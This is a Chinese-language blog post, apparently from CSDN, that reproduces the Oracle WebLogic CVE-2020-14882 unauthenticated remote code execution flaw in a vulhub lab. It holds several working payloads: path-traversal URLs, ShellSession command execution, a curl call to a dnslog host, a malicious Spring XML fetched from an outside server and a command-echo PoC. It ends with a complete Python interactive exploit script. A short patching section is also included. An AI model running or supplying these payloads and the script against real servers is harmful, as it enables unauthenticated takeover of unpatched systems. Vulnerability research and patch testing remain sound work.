目录
0x01漏洞描述
2020年10月30日, Oracle 官方的 CVE-2020-14882 Weblogic 代码执行漏洞最新补丁可被绕过,该漏洞编号为 CVE-2020-14882 ,漏洞等级:严重 ,漏洞评分:9.8 。
远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic ServerConsole 执行任意代码。
0x02影响版本
Oracle WeblogicServer 10.3.6.0.0
Oracle WeblogicServer 12.1.3.0.0
Oracle WeblogicServer 12.2.1.3.0
Oracle WeblogicServer 12.2.1.4.0
Oracle WeblogicServer 14.1.1.0.0
0x03漏洞复现
环境搭建:使用vulhub搭建环境
测试版本:administration console 12c 12.2.1.3.0
-
1.未授权访问(低权限)
-
payload(GET)
/console/css/%252e%252e%252fconsole.portal
-
截图:
![](https://i-blog.csdnimg.cn/blog_migrate/2e79e4539ea74c36f8e1a5974c509e2e.png)
-
2.RCE(远程命令执行)无回显 可以搭配dnslog
-
payload:(GET)
-
dnslog
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/sunsanhui');")
![](https://i-blog.csdnimg.cn/blog_migrate/3b973475e8789ea60bb714b08e311ab4.png)
docker ps #查看docker信息
![](https://i-blog.csdnimg.cn/blog_migrate/ef3eb44d0d8b0c047f68eb9a31b49250.png)
docker exec -it 300eba524103 /bin/bash #进入docker
![](https://i-blog.csdnimg.cn/blog_migrate/f380f1560d96738c931af1892ba15c78.png)
cd /tmp/ #进入docker的tmp目录查看是否命令执行成功
![](https://i-blog.csdnimg.cn/blog_migrate/e1e21ffc32ed346a998016320fbb9b55.png)
-
3.使用dnslog(RCE)
-
paylaod:
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20XXXXX.ceye.io');")
![](https://i-blog.csdnimg.cn/blog_migrate/f8d56a2103f391796c6f0f39e6f485d0.png)
![](https://i-blog.csdnimg.cn/blog_migrate/faca6bdb7d0ca5df9c60a4217b369b16.png)
-
4.被动访问XML文件方式(RCE)
-
缺点:需要Weblogic的服务器能够访问到恶意XML
-
payload
首先构造恶意的XML文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
例如将其放在了
http://example.com/rce.xml
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
5.可回显的POC(RCE)
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: 192.168.222.135:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
cmd: id
![](https://i-blog.csdnimg.cn/blog_migrate/b386a632011e5e040f507f0f29c7545d.png)
0x04修复方案
1、建议用户及时将 Weblogic 后台/console/console.portal 对外的访问权限暂时关闭。
2、此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。
注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。
0x05漏洞利用脚本:
源码 基于py3.8.1
import requests
import re
import http.client
import urllib3
name = '''
_______ ________ ___ ___ ___ ___ __ _ _ ___ ___ ____
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | || | / _ \ / _ \___ \
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | || || (_) | (_) |__) |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| |__ _> _ < > _ <|__ <
| |____ \ / | |____ / /_| |_| / /_| |_| | | | | || (_) | (_) |__) |
\_____| \/ |______| |____|\___/____|\___/ |_| |_| \___/ \___/____/
DESIGN BY Skhcats
'''
print(name)
urllib3.disable_warnings()
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
def send(host, poc, cmd):
text = host + poc
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36'
}
header['cmd'] = cmd
try:
res = requests.get(text, verify=False, headers=header, stream=True,timeout=5)
if res.status_code == requests.codes.ok:
res.encoding = 'utf-8'
if 'html' in res.text:
return '目标主机可能不存在此命令'
else:
return res.text
else:
return '状态码:'+res.status_code
except Exception as e:
print(e)
print('致命错误/目标主机可能不存在此漏洞')
exit(0)
if __name__ == '__main__':
host = re.findall(r'https?://.+/',str(input("host(start with 'http://' or 'https://'):"))+r'/')[0]
poc = r'''/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')'''
while True:
cmd = input('cmd&> ')
res = send(host, poc, cmd)
print(res)
0x06脚本测试图:
![](https://i-blog.csdnimg.cn/blog_migrate/700e2f69c754a4724d1808f2e626e4e0.png)